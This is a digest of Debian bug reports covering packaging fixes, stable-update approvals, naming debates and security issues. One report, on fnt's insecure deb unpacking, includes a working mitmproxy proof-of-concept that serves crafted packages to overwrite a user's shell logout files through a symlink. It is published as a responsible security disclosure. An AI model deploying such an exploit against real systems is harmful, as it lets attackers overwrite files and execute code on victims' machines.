liblayershellqtinterface5 5.27.5-2 ii libpam0g 1.5.2-6 ii libqt5core5a 5.15.8+dfsg-11 ii libqt5dbus55.15.8+dfsg-11 ii libqt5gui5 5.15.8+dfsg-11 ii libqt5network5 5.15.8+dfsg-11 ii libqt5qml5 5.15.8+dfsg-3 ii libqt5quick5 5.15.8+dfsg-3 ii libqt5widgets5 5.15.8+dfsg-11 ii libqt5x11extras5 5.15.8-2 ii libstdc++6 12.2.0-14 ii libwayland-client0 1.21.0-1 ii libwayland-server0 1.21.0-1 ii libx11-6 2:1.8.4-2+deb12u1 ii libxcb-keysyms10.4.0-1+b2 ii libxcb11.15-1 ii libxi6 2:1.8-1+b1 ii psmisc 23.6-1 Versions of packages libkscreenlocker5 recommends: ii kde-config-screenlocker 5.27.5-2 libkscreenlocker5 suggests no packages. -- debconf-show failed
Bug#1043477: php8.2: CVE-2023-3823 CVE-2023-3824
Source: php8.2 Version: 8.2.7-1 Severity: grave Tags: security upstream Justification: user security hole X-Debbugs-Cc: car...@debian.org, Debian Security Team Control: found -1 8.2.7-1~deb12u1 Hi, The following vulnerabilities were published for php8.2. CVE-2023-3823[0]: | In PHP versions 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* | before 8.2.8 various XML functions rely on libxml global state to | track configuration variables, like whether external entities are | loaded. This state is assumed to be unchanged unless the user | explicitly changes it by calling appropriate function. However, | since the state is process-global, other modules - such | as ImageMagick - may also use this library within the same process, | and change that global state for their internal purposes, and leave | it in a state where external entities loading is enabled. This can | lead to the situation where external XML is parsed with external | entities loaded, which can lead to disclosure of any local files | accessible to PHP. This vulnerable state may persist in the same | process across many requests, until the process is shut down. CVE-2023-3824[1]: | In PHP version 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* | before 8.2.8, when loading phar file, while reading PHAR directory | entries, insufficient length checking may lead to a stack buffer | overflow, leading potentially to memory corruption or RCE. If you fix the vulnerabilities please also make sure to include the CVE (Common Vulnerabilities & Exposures) ids in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2023-3823 https://www.cve.org/CVERecord?id=CVE-2023-3823 [1] https://security-tracker.debian.org/tracker/CVE-2023-3824 https://www.cve.org/CVERecord?id=CVE-2023-3824 Regards, Salvatore
Bug#1042935: Sage test timeouts probably fixed upstream
Control: tags -1 fixed-upstream Control: block -1 by 1010735 I think this is fixed upstream. Apparently they were made aware that this particular failing test just takes a long time, but if you give it a couple minutes it does pass. signature.asc Description: This is a digitally signed message part
Bug#1043476: python3-pep517: depend on python3-importlib-metadata | python3 (> 3.8) ?
Package: python3-pep517 Version: 0.13.0-2 Severity: normal Hey. As far as I understand python3-importlib-metadata is just a backport of features that are included since python 3.8. So maybe it would be possible to depend on: python3-importlib-metadata | python3 (> 3.8) like some other packages, that also depend on python3-importlib-metadata do? Thanks, Chris.
Bug#1043475: gocryptfs: current d/watch no longer works
Source: gocryptfs Severity: normal Tags: patch Dear Maintainer, The current d/watch file fails to reliably find the upstream version and doesn't check PGP signature. here is a d/watch file to restore searching for upstream versions and verifying PGP signatures: version=4 opts="searchmode=plain,\ pgpsigurlmangle=s/$/.asc/,\ uversionmangle=s/(\d)[_\.\-\+]?(RC|rc|pre|dev|beta|alpha)[.]?(\d*)$/$1~$2$3/" \ https://api.github.com/repos/rfjakob/@PACKAGE@/releases \ https://github.com/rfjakob/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@_src@ARCHIVE_EXT@
Bug#1043474: visidata: depend on python3-importlib-metadata | python3 (> 3.8) ?
Package: visidata Version: 2.11-1 Severity: normal Hey. As far as I understand python3-importlib-metadata is just a backport of features that are included since python 3.8. So maybe it would be possible to depend on: python3-importlib-metadata | python3 (> 3.8) like some other packages, that also depend on python3-importlib-metadata do? Thanks, Chris.
Bug#1043473: dosfstools: current d/watch no longer works
Source: dosfstools Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts=searchmode=plain,\ pgpsigurlmangle=s/$/.sig/ \ https://api.github.com/repos/@PACKAGE@/@PACKAGE@/releases \ https://github.com/@PACKAGE@/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1035772: kmplayer: FTBFS: Could NOT find KF5 (missing: DocTools)
Control: reopen -1 Now DocTools seems to be missing. libkf5kdelibs4support-dev should have been replaced with libkf5doctools-dev.
Bug#1043472: dialog: current d/watch no longer works
Source: dialog Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts=pgpsigurlmangle=s/$/.asc/ \ https://invisible-island.net/archives/@PACKAGE@/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1043471: please update pgpainless
Package: src:pgpainless Version: 1.3.16-1 Severity: wishlist According to https://github.com/pgpainless/pgpainless/tags version 1.6.1 was released 3 weeks ago. It would be great to get this version into debian. Thanks for maintaining pgpainless in Debian! --dkg signature.asc Description: PGP signature
Bug#1043470: cups: current d/watch no longer works
Package: cups Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ uversionmangle=s/^(release|v)?\.//;s/(rc|b)/~$1/,\ pgpsigurlmangle=s/$/\.sig/" \ https://api.github.com/repos/OpenPrinting/@PACKAGE@/releases \ https://github.com/OpenPrinting/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@-source@ARCHIVE_EXT@
Bug#1042119: FTBFS: igraph.h:31:10: fatal error: igraph_version.h: No such file or directory
Control: tags -1 + pending There is a change pending upload in python-leidenalg to fix this RC bug. However, the newer python-leidenalg will need introduction of the new package libleidenalg, still pending packaging. So this is a bit on hold for the moment. Cheers, :) -- .''`. Étienne Mollier : :' : gpg: 8f91 b227 c7d6 f2b1 948c 8236 793c f67e 8f0d 11da `. `' sent from /dev/pts/5, please excuse my verbosity `-on air: Mr. Sirius - Eternal Jealousy (single version) signature.asc Description: PGP signature
Bug#1038812: ITP: sexpp -- S-expressions parser and generator C++ library and command-line tool
On Thu 2023-08-10 21:59:24 +, Thorsten Alteholz wrote: > On Thu, 10 Aug 2023, Daniel Kahn Gillmor wrote: >> The corrected URL is https://github.com/rnp/sexpp and the package name >> will be sexpp. This has been in NEW for over a month now, and is >> blocking our ability to ship an updated librnp, which impacts >> thunderbird (see #1041409). > > It is only that long in NEW because nobody cared to answer my question > from weeks ago. sorry about that, it looks like it came to my personal e-mail, and i'd missed that message when it came in. It wasn't on any of the threads related to this issue already, and i didn't see it in any of the public places i expected to see it. >> It would be great if someone on the FTP team could either accept the >> sexpp package, or reject it with an explanation of what needs to be done >> to fix it. > > I am not going to ACCEPT a package with that name, but maybe someone else > from the team wants to do this. I understand the concern (i'm an upstream maintainer of "impass", whose own package name was … uh, fairly juvenile before it was renamed, and i led the renaming due to this same concern). That said, I don't know what other name to choose for this package. This is the name from upstream. The project is designed to work with s-expressions. it's written in C++. The upstream authors (Ribose) are serious developers, who have no apparent interest in silly shenanigans with the name, and we already have packages named "libsexp1" (from source package "sfsexp"), libcsexp-ocalm, python3-sexpdata, etc. nettle-bin includes a binary /usr/sbin/sexp-conv would it be better if it was libs-expp or libs_expp instead of libsexpp? or just libsexpression ? Would it be better if the command line utility were named something other than /usr/bin/sexpp ? if so, what? The symbol prefixes in the library use the (c++-mangled) "sexp" namespace prefix. i've already convinced upstream to rename it from libsexp to avoid a naming collision with the sfsexp library we publish as libsexp1; they chose libsexpp to indicate that it is a C++ library. I can go back again and ask them for another rename, but at this point i'd feel like i'm becoming more of a pest than a helpful maintainer. I certainly wouldn't want to do it unless i knew that what i was asking them for would be acceptable within debian. If i have to pick a reasonable set of next steps, i'd recommend one of: - someone from the FTP-team tells me what sort of rename you would find acceptable, and i'll decide either make it as a patch for debian to carry, or ask upstream to make yet another name, or - the FTP-team can just accept the package. If there's some third option for a possible next step, i'm all ears. All the best, --dkg signature.asc Description: PGP signature
Bug#1042454: AW: [debian-mysql] Bug#1042454: mariadb-server ignores bind-address
# grep -r bind-address /etc/mysql/ /etc/mysql/my.cnf.migrated:# bind-address = 127.0.0.1 /etc/mysql/mariadb.conf.d/60-galera.cnf:#bind-address = 0.0.0.0 /etc/mysql/mariadb.conf.d/50-server.cnf:bind-address= 127.0.0.1 You can see that the other two are commented out. I also noticed that skip-networking is ignored.
Bug#1043469: fnt: insecure deb unpacking
Package: fnt
Version: 1.4.1-2
Severity: serious
Tags: security
https://www.gnu.org/software/tar/manual/html_node/Integrity.html says:
"When extracting from two or more untrusted archives, each one should be
extracted independently, into different empty directories. Otherwise,
the first archive could create a symbolic link into an area outside the
working directory, and the second one could follow the link and
overwrite data that is not under the working directory."
But fnt extracts every data.tar file into the same directory and does
not correctly remove files (potentially: malicious symlinks) after
extraction. Since fnt downloads debs over HTTP and does not verify their
integrity in any way, man-in-the-middle attackers could exploit this
vulnerability to overwrite arbitrary files.
I've attached a proof-of-concept exploit in the form of a mitmproxy
script.
--
Jakub Wilk
# encoding=UTF-8
# Copyright © 2023 Jakub Wilk
# SPDX-License-Identifier: MIT
# Usage:
# mitmdump --listen-host 127.0.0.1 -s /path/to/fnt_mitm.py
# and then:
# export http_proxy=http://127.0.0.1:8080/
# fnt update
# fnt install symbola
# fnt install unifont
# logout
import contextlib
import io
import os
import subprocess
import tarfile
import tempfile
try:
from mitmproxy.http import Response as HTTPResponse # mitmproxy >= 7.0
except ImportError:
from mitmproxy.http import HTTPResponse # mitmproxy >= 1.0
payload = b'''\
cowsay pwned
sleep inf
'''
debs = []
def mkar(members):
with tempfile.TemporaryDirectory() as tmpdir:
ar_path = f'{tmpdir}/out.ar'
subprocess.run(['ar', 'rcS', ar_path, *members], check=True)
with open(ar_path, 'rb') as file:
return file.read()
@contextlib.contextmanager
def tmpcwd():
old_cwd = os.getcwd()
try:
with tempfile.TemporaryDirectory() as tmpdir:
os.chdir(tmpdir)
yield
finally:
os.chdir(old_cwd)
with tmpcwd():
members = ['debian-binary', 'control.tar.xz', 'data.tar.xz']
for member in members:
with open(member, 'wb'):
pass
with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
tinfo = tarfile.TarInfo('par')
tinfo.type = tarfile.SYMTYPE
tinfo.linkname = '..'
tfile.addfile(tinfo)
debs += [mkar(members)]
with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
for target in '.bash_logout', '.zlogout':
tinfo = tarfile.TarInfo(f'par/{target}')
tinfo.size = len(payload)
tfile.addfile(tinfo, io.BytesIO(payload))
debs += [mkar(members)]
class state:
n = 0
def request(flow):
if flow.request.path.endswith('.deb'):
flow.response = HTTPResponse.make(
200,
debs[state.n],
{'Content-Type': 'application/vnd.debian.binary-package'}
)
state.n ^= 1
# vim:ts=4 sts=4 sw=4 et
Bug#624438: network-manager: workaround
On Wed, 2021-11-17 at 04:42 -0500, tomas k wrote: > Package: network-manager > Followup-For: Bug #624438 > X-Debbugs-Cc: foren...@wi.rr.com > > Dear Maintainer, > > I've been dealing with this problem with one upgrade--buster to > bullseye--and one new > install of bullseye 11. It seems I must install the correct firmware, > which I already knew, load the driver with modporobe, and then > reboot. > > But there is still the problem that it will lose the wifi interface > with subsequent reboots. I have not demonstrated that with the > new install, but with the upgrade I did. > > So, work needs to be done, because it's not as simple as installing > a few packages to get the interface set up once and for all. And > this type of behavior is very unlike modern Debian, so users have no > experience with it. > > I'm not positive it's even a nm bug. But nm cannot find the wifi > interface, > because it doesn't exist. > It doesn't exist because the firmware isn't loading. Intel's newest wifi chips "Killer" have no specific support in stable. And make sure your PCIe slots aren't stomping on each other. I always put wifi in the first slot. There's also github.com Intel wifi drivers > *** Reporter, please consider answering these questions, where > appropriate *** > > * What led up to the situation? > * What exactly did you do (or not do) that was effective (or > ineffective)? > * What was the outcome of this action? > * What outcome did you expect instead? > > *** End of the template - remove these template lines *** > > > -- System Information: > Debian Release: 11.1 > APT prefers stable-updates > APT policy: (500, 'stable-updates'), (500, 'stable-security'), > (500, 'proposed-updates'), (500, 'stable') > Architecture: amd64 (x86_64) > > Kernel: Linux 5.10.0-9-amd64 (SMP w/8 CPU threads) > Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, > TAINT_UNSIGNED_MODULE > Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), > LANGUAGE not set > Shell: /bin/sh linked to /usr/bin/dash > Init: systemd (via /run/systemd/system) > LSM: AppArmor: enabled > > Versions of packages network-manager depends on: > ii adduser 3.118 > ii dbus 1.12.20-2 > ii libaudit1 1:3.0-2 > ii libbluetooth3 5.55-3.1 > ii libc6 2.31-13+deb11u2 > ii libcurl3-gnutls 7.74.0-1.3+b1 > ii libglib2.0-0 2.66.8-1 > ii libgnutls30 3.7.1-5 > ii libjansson4 2.13.1-1.1 > ii libmm-glib0 1.14.12-0.2 > ii libndp0 1.6-1+b1 > ii libnewt0.52 0.52.21-4+b3 > ii libnm0 1.30.0-2 > ii libpsl5 0.21.0-1.2 > ii libreadline8 8.1-1 > ii libselinux1 3.1-3 > ii libsystemd0 247.3-6 > ii libteamdctl0 1.31-1 > ii libudev1 247.3-6 > ii libuuid1 2.36.1-8 > ii policykit-1 0.105-31 > ii udev 247.3-6 > ii wpasupplicant 2:2.9.0-21 > > Versions of packages network-manager recommends: > ii dnsmasq-base [dnsmasq-base] 2.85-1 > ii iptables 1.8.7-1 > ii libpam-systemd 247.3-6 > ii modemmanager 1.14.12-0.2 > ii ppp 2.4.9-1+1 > ii wireless-regdb 2020.04.29-2 > > Versions of packages network-manager suggests: > ii isc-dhcp-client 4.4.1-2.3 > pn libteam-utils > > -- no debconf information
Bug#1043427: src:utop: fails to migrate to testing for too long: blocked by ocaml-logs rebuild
Hi, On 11-08-2023 08:34, Stéphane Glondu wrote: On Thu, 10 Aug 2023 21:44:23 +0200 Paul Gevers wrote: One current blocker is xmlrpc-light, which I mistakenly uploaded with urgency low 2 days ago, which therefore should not migrate before 8 days from now. It seems the connection is hidden. It would be nice if you could show how that works. I am wondering: Couldn't the required age for xmlrpc-light be lowered? Or should I upload a new package with a higher urgency? I have added an age hint and dropped required age to 5. Paul
Bug#1043468: anorack: current d/watch no longer works
Package: anorack Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts=searchmode=plain,\ pgpsigurlmangle=s/$/.asc/ \ https://api.github.com/repos/jwilk/@PACKAGE@/releases \ https://github.com/jwilk/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#967639: morla: depends on deprecated GTK 2
morla doe not seem to be used very much (see popcon). I do not think that upstream is going to move to a newer GTK version. Thus I suggest to remove the package.
Bug#1035772:
I am going to NMU this with a git-based upstream version. kmplayer has several (build) dependencies that are deprecated and it blocks their removal unnecessarily. I am not attaching a debdiff because that is several MiB big.
Bug#1043467: spinlock_gcc_arm.hpp possibly doesn't take into accout LDREX on arm64
Source: boost1.81 Version: 1.81.0-6 Severity: normal Tags: upstream X-Debbugs-Cc: debian-...@lists.debian.org Hi there, Please, correct me if I am wrong, but the conditional here: https://sources.debian.org/src/boost1.81/1.81.0-6/libs/smart_ptr/include/boost/smart_ptr/detail/spinlock_gcc_arm.hpp/#L21 doesn't take into account that ARM64 also includes the LDREX instruction. Without BOOST_SP_ARM_HAS_LDREX, the obsolete SWP ends up being used: https://sources.debian.org/src/boost1.81/1.81.0-6/libs/smart_ptr/include/boost/smart_ptr/detail/spinlock_gcc_arm.hpp/#L69 needing to be software-emulated by the kernel. Cheers, -- Santiago -- System Information: Debian Release: trixie/sid APT prefers stable-security APT policy: (500, 'stable-security'), (500, 'oldoldstable'), (500, 'unstable'), (500, 'stable'), (500, 'oldstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 6.4.0-1-amd64 (SMP w/16 CPU threads; PREEMPT) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled signature.asc Description: PGP signature
Bug#1041813: orthanc: test failing on s390x
Étienne Mollier, on 2023-08-11:
> I have been devising on the orthanc test failure on big endian
> systems referenced in Debian Bug#1041813, and I came up with the
> patch in attachment.
The patch is in attachment for real this time. (:
--
.''`. Étienne Mollier
: :' : gpg: 8f91 b227 c7d6 f2b1 948c 8236 793c f67e 8f0d 11da
`. `' sent from /dev/pts/0, please excuse my verbosity
`-on air: The Neal Morse Band - Not Afraid Pt. 2
Description: swab Color16Pattern
This patch creates new source data for big endian systems, fixing test
failures on systems such as s390x.
Bug-Debian: https://bugs.debian.org/1041813
Author: Étienne Mollier
Last-Update: 2023-08-11
---
This patch header follows DEP-3: http://dep.debian.net/deps/dep3/
--- orthanc.orig/OrthancFramework/UnitTestsSources/ImageTests.cpp
+++ orthanc/OrthancFramework/UnitTestsSources/ImageTests.cpp
@@ -91,6 +91,7 @@
unsigned int pitch = width * 8;
std::vector image(height * pitch);
+#if ( __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ )
for (unsigned int y = 0; y < height; y++)
{
uint8_t *p = [0] + y * pitch;
@@ -106,6 +107,23 @@
p[7] = (y % 8 == 7) ? 255 : 0;
}
}
+#elif ( __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ )
+ for (unsigned int y = 0; y < height; y++)
+ {
+uint8_t *p = [0] + y * pitch;
+for (unsigned int x = 0; x < width; x++, p += 8)
+{
+ p[0] = (y % 8 == 1) ? 255 : 0;
+ p[1] = (y % 8 == 0) ? 255 : 0;
+ p[2] = (y % 8 == 3) ? 255 : 0;
+ p[3] = (y % 8 == 2) ? 255 : 0;
+ p[4] = (y % 8 == 5) ? 255 : 0;
+ p[5] = (y % 8 == 4) ? 255 : 0;
+ p[6] = (y % 8 == 7) ? 255 : 0;
+ p[7] = (y % 8 == 6) ? 255 : 0;
+}
+ }
+#endif /* __BYTE_ORDER__ */
Orthanc::ImageAccessor accessor;
accessor.AssignReadOnly(Orthanc::PixelFormat_RGBA64, width, height, pitch, [0]);
signature.asc
Description: PGP signature
Bug#1041813: orthanc: test failing on s390x
Control: tags -1 + patch Hi Sébastien, I have been devising on the orthanc test failure on big endian systems referenced in Debian Bug#1041813, and I came up with the patch in attachment. However, I'm not sure I'm fixing the issue at the right place, or just hiding the problem below the carpet, as the problem could either stem from: * the input test data (this is what the patch adjusts), * the reference output data (I assume this must be left untouched in this case), * the function being tested (I think this is also a very valid place, but it depends on the architecture of orthanc source code, in which I haven't dug long enough at all to determine whether this is the correct place indeed). In hope this helps, even if this is not the right approach in the end, have a nice day, :) -- .''`. Étienne Mollier : :' : gpg: 8f91 b227 c7d6 f2b1 948c 8236 793c f67e 8f0d 11da `. `' sent from /dev/pts/0, please excuse my verbosity `-on air: The Neal Morse Band - Not Afraid Pt. 2 signature.asc Description: PGP signature
Bug#1043093: Updated dask to 2023.8.0+dfsg-1
Hi, I pushed dask 2023.8.0+dfsg-1 to unstable, hope that helps, though I"m not sure if that helped with the pandas tests though. Diane
Bug#1043229: bookworm-pu: package open-ath9k-htc-firmware/1.4.0-108-gd856466+dfsg1-1.3+deb12u1
Control: tag -1 confirmed On Mon, Aug 07, 2023 at 07:51:47PM +0200, Bastian Germann wrote: > [ Reason ] > This addresses #1038684 in bookworm. > A kernel module parameter is set that changes the name of the expected > ath9k-htc firmware name. > This used to be in place for the time where the prebuilt firmware was part of > another firmware package. Please go ahead. Thanks, -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1043151: bookworm-pu: package network-manager-applet/1.32.0-2+deb12u1
Control: tag -1 confirmed On Mon, Aug 07, 2023 at 09:03:22PM +0200, Michael Biebl wrote: > Am 07.08.23 um 18:46 schrieb Jonathan Wiltshire: > > Control: tag -1 moreinfo > > > > On Sun, Aug 06, 2023 at 08:06:55PM +0200, Michael Biebl wrote: > > > I'd like to make a stable upload for network-manager-applet, which fixes > > > a crash in nm-connection-editor when importing a VPN configuration. > > > > > > https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1042712 > > > > > > It's a targetted fix, the patch has been cherry-picked from upstream Git > > > and applied to the package in unstable with not reported regressions. > > > > > > Full debdiff is attached. > > > > There's an upload pending for bookworm which doesn't match this diff and > > seems to be relative to sid, not stable - is that an error? > > This was a mistake, yes. I'm very sorry for that. > When creating the bookworm branch I accidentally picked the tag > debian/1.32.0-2 instead of the intended debian/1.30.0-2. > Not sure how I missed that. > > The debdiff was so small, that I directly uploaded. > > I wonder what to do now? > > The diff between 1.30.0 and 1.32.0 is still reasonably small (excluding > translations): > > git diff debian/1.30.0-2 debian/1.32.0-2+deb12u1 -- ":(exclude)po" | > diffstat > ... > 24 files changed, 269 insertions(+), 77 deletions(-) > > Shall I roll back the changes and upload a 1.32.0really1.30.0-something to > bookworm? > Shall we simply cancel the 1.32.0-2+deb12u1 upload to bookworm? > Or should we go with 1.32.0 in bookworm? > > Given the small amount of changes, I slightly prefer the last option, but I > would appreciate your feedback. > I would prefer the planned targetted fix. Don't worry about the versioning, do as you originally intended and I'll take care of rejecting the other one. Thanks, -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1037107: Acknowledgement (pre-unblock: bookworm-pu: mariadb/1:10.11.3-2/+deb12u1)
On Wed, Aug 02, 2023 at 10:19:17AM -0700, Otto Kekäläinen wrote: > > > I am ready to upload mariadb/1:10.11.4-0+deb12u2 as a source-only > > > upload with the requested changes[1] but I guess the previous > > > upload[2] needs to clear the NEW queue first, right? > > > > No, don't worry about that. > I interpreted this to mean that I should not care about one version > already being in the NEW queue, but go ahead and upload a new version > with the requested fixes now merged in That is the correct interpretation, but you missed the second half: > > You have the wrong version there though. That is a reference to: On Mon, Jul 24, 2023 at 10:09:30AM -0700, Otto Kekäläinen wrote: > On Mon, 24 Jul 2023 at 09:33, Jonathan Wiltshire wrote: > > We also have a lack of dbgsym packages, probably because of the maintainer > > upload of amd64 and all. I'd quite like to fix the second lintian warning > > at least; if you uploaded again now with the more conventional version of > > 1:10.11.4-1~deb12u1 do you have to go through NEW again or could you make > > it a source-only upload? > > Yes, I can do a source upload of 1:10.11.4-1~deb12u1 once above > changes are done and approved. You've uploaded 1:10.11.4-0+deb12u2 now, and again it's a binary upload. Forget the usual version constraint rules, please upload a source package with the correct version. -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1043378: bookworm-pu: package icingaweb2/2.11.4-2+deb12u1
Control: tag -1 confirmed On Wed, Aug 09, 2023 at 07:57:07PM +0200, Bas Couwenberg wrote: > [ Reason ] > The php8.2.patch in icingaweb2 (2.11.4-2) does not cover all the code paths. > > The web setup, icingacli, and MySQL/MariaDB support are some examples users > ran into. > > Especially the many Deprecated notices in the web setup cause significant > hindrance. Please go ahead. Thanks, -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1043422: bookworm-pu: package nco/5.1.4-1+deb12u1
Control: tag -1 confirmed On Thu, Aug 10, 2023 at 07:35:12PM +0200, Bas Couwenberg wrote: > [ Reason ] > As reported in #1043409, nco in bookworm lost udunits2 support causing a > significant loss in functionality. Please go ahead. Thanks, -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1043412: bookworm-pu: package quicktext/5.6
Control: tag -1 moreinfo On Thu, Aug 10, 2023 at 04:13:22PM +0200, Mechtilde Stehmann wrote: > [ Checklist ] > [] *all* changes are documented in the d/changelog > [X] I reviewed all changes and I approve them > [] attach debdiff against the package in (old)stable > [] the issue is verified as fixed in unstable Please complete these items first. Thanks, -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1043398: bookworm-pu: package filezilla/3.63.0-1+deb12u1
Control: tag -1 confirmed On Thu, Aug 10, 2023 at 07:27:54AM +0100, Phil Wyett wrote: > Due to a FTBFS 32-bit bit builds of filezilla did not make it into the > bookworm release. Please go ahead. Thanks, -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 ed25519/0x196418AAEB74C8A1: CA619D65A72A7BADFC96D280196418AAEB74C8A1
Bug#1043466: gnome-builder: Update to 45
Source: gnome-builder Version: 44.2-3 Severity: wishlist Control: block -1 by 1043464 GNOME Builder 45 Beta has been released, but it requires sysprof 45 Beta and libpeas2. Thank you, Jeremy Bícha
Bug#1033648: Testing
I tried this patch with the new upstream release 1.3.3, see https://salsa.debian.org/bap/minidlna.git branch master and it didn't really work. I have a computer connected to WiFi and also a direct ethernet cable connection to a TV, and the TV cable can bounce up and down, and this patch made things not work. When I did "systemctl stop minidlna.socket" it started working again. This seemed replicable. So, I reverted the patch from my fork of the repo. This is a deep enough issue that any fix, or additional functionality of this sort, should probably go through upstream rather than just be a Debian patch.
Bug#911189: gpgme-json packaging
On Mon, 16 Jan 2023 02:01:37 +0100 =?ISO-8859-1?Q?=C1ngel?= wrote: > I have tested https://salsa.debian.org/debian/gpgme/-/merge_requests/1 > and it works fine. > I would however name the new package gpgme-json, not libgpgme-bin > > The package is only providing gpgme-json(1). If it is going to ship > more binaries in the future, it can always be replaced. If someone is > told they need gpgme-json the expected package name is 'gpgme-json', > not libgpgme-bin. Plus, that lib prefix is even more confusing. > > Even the description (“This package contains the gpgme-json binary to > access GPGME...”) seem to ask for that name. > > That is the only nitpick I have. It "just works". :-) > > The debian/changelog would need updating, and rebased on top of gpgme > 1.18 (bookworm/sid) from the current 1.14. How about just playing the binary into a package name "gpgme", like Fedora does https://packages.fedoraproject.org/pkgs/gpgme/gpgme/fedora-rawhide.html#files
Bug#1023512: Naming of python binary packages
On Fri, 11 Aug 2023 at 14:49:00 +, Stefano Rivera wrote: > > > According to the Debian Python Policy Section 4.3, binary package > > > names should be named after the *import* name of the module, not the > > > PyPI distribution name. > > > Unfortunately, I do not agree at all with this policy. The import name has > > no importance, and IMO, we should change that policy so that the package > > name matches the egg-name rather than the import name. > > I wouldn't quite say it has no importance. It describes which part of > the filesystem the package owns. More important than that, it describes the interface that the package provides to its reverse-dependencies: changing the name changes the interface, and vice versa. Having the package that lets you "import dbus" systematically be installable as "python3-dbus" is the same design principle as having the C library with SONAME libgtk-4.so.1 installable as libgtk-4-1 (and not gtk4-libs as it would be in some distributions), or having the Perl library that lets you "use File::chdir" installable as libfile-chdir-perl. This has been the policy for a while, and I think it's a good policy. In particular, it forces the necessary conflict resolution to happen at the distro level if two unrelated upstream projects (perhaps pyfoo-1.egg-info and Foo-2.egg-info) are both trying to be our implementation of "import foo". (disclosure: I wrote some of the text in Python Policy describing the naming convention under discussion here, but I was clarifying an existing convention and filling in the details of what to do in corner cases, rather than originating new policy. See also the thread starting at https://lists.debian.org/debian-python/2019/11/msg00125.html.) smcv
Bug#1019502: xfce4-session: Same problem from wdm
Package: xfce4-session Version: 4.18.3-1 Followup-For: Bug #1019502 Dear Maintainer, After a reboot, XFCE refuses to run using wdm, here is what I read in ~/.xession-errors: /usr/bin/startxfce4: X server already running on display :0 If you want more logs, just ask! Yours, n. -- System Information: Debian Release: trixie/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 5.16.0-6-686-pae (SMP w/3 CPU threads; PREEMPT) Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE=fr_FR:fr:en_GB:en Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages xfce4-session depends on: ii libatk1.0-02.49.90-2 ii libc6 2.37-7 ii libcairo-gobject2 1.16.0-7 ii libcairo2 1.16.0-7 ii libgdk-pixbuf-2.0-02.42.10+dfsg-1+b1 ii libglib2.0-0 2.77.1-2 ii libgtk-3-0 3.24.38-4 ii libice62:1.0.10-1 ii libpango-1.0-0 1.50.14+ds-1 ii libpolkit-gobject-1-0 123-1 ii libsm6 2:1.2.3-1 ii libwnck-3-043.0-3 ii libx11-6 2:1.8.6-1 ii libxfce4ui-2-0 4.18.4-1 ii libxfce4util7 4.18.1-2 ii libxfconf-0-3 4.18.1-1 ii x11-xserver-utils 7.7+9+b1 ii xfce4-settings 4.18.3-1 ii xfconf 4.18.1-1 